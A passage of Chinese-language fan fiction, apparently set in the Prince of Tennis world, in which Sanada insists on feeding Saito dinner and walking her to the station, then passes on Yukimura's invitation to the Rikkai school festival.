与真田为了压制住情绪而有些生硬的声音相比,斋藤的语气十分轻快。 “到那个时候,我一定会打起精神,好好感受大海的魅力。” 真田从鼻腔里发出一声轻哼,没有回答,只是微微别过去侧脸,似乎将信将疑地把这个约定收下了。 路过便利店时,斋藤提议自己进去买晚饭,正要迈步,却被身后传来的声音定了住。 “晚饭到我家吃。我已经提前跟母亲说过了。”真田不容置喙地命令道。 这突如其来的邀约,让斋藤愣在原地,措手不及。 “可你事先没和我说。”斋藤皱起眉,语气里满是抗议。 “你家现在没人帮你准备晚饭吧?现在告诉你也不晚。” 真田回答得理所当然。 斋藤无奈地鼓起了腮帮,这种无声的抗议她已经驾轻就熟。 真田却不为所动,仍旧用不容退让的语气压下她的反驳: “难道你想让我母亲失望吗?她可是特意为你多做了一份。” 晚餐后,真田安静地陪着斋藤走在回家的路上,路灯将两人的影子拉得很长。 快到门口时,真田忽然开口打破了沉默:“你明天什么时候出发?” “最早的那班车。”斋藤回答。她心里盘算着,虽然会议要晚一些才开始,但必须先回家,把剑道装备安置妥当。 “那明早我送你去车站。” 真田单方面做出了决定。 “谢谢,但是不用这么麻烦你。”斋藤下意识地摆手拒绝,觉得为这点小事打扰他实在过意不去。 “我要晨跑,”真田看了她一眼,语气笃定,“顺路而已。” 翌日清晨,斋藤出门,真田的身影在晨曦中显得格外清晰。他已经换上了一身便于活动的运动服,安静地等在那里。 他的目光落在斋藤肩上剑道护具包上,随即伸出手,掌心向上。那是一个不容拒绝的索取姿态。 斋藤明白,与真田之间,任何多余的客套都只会浪费彼此的时间。她顺从地卸下背包,交到了他的手上。 两人并肩走向车站,一路无言。直到站台上传来列车即将进站的广播声,真田才终于停下脚步,开了口。 “——九月份,来参加立海大的学园祭吗?”他问得有些生硬,视线不自觉地飘向了一旁,“幸村,他想邀请你。” “学园祭”这个与他本人气质格格不入的词汇,从真田的口中说出,让斋藤一时间竟不知该作何反应。 看着她呆愣的模样,真田的眉头立刻拧了起来,语气也恢复了往日的严厉:“还愣着做什么!车要开了!” 在他的催促下,斋藤如梦初醒,踩着车门关闭的蜂鸣声冲进了车厢。她连呼吸都没有调整好,便急切地摸出手机,指尖在屏幕上飞快地敲击。 【有时间的话,我一定会去的!】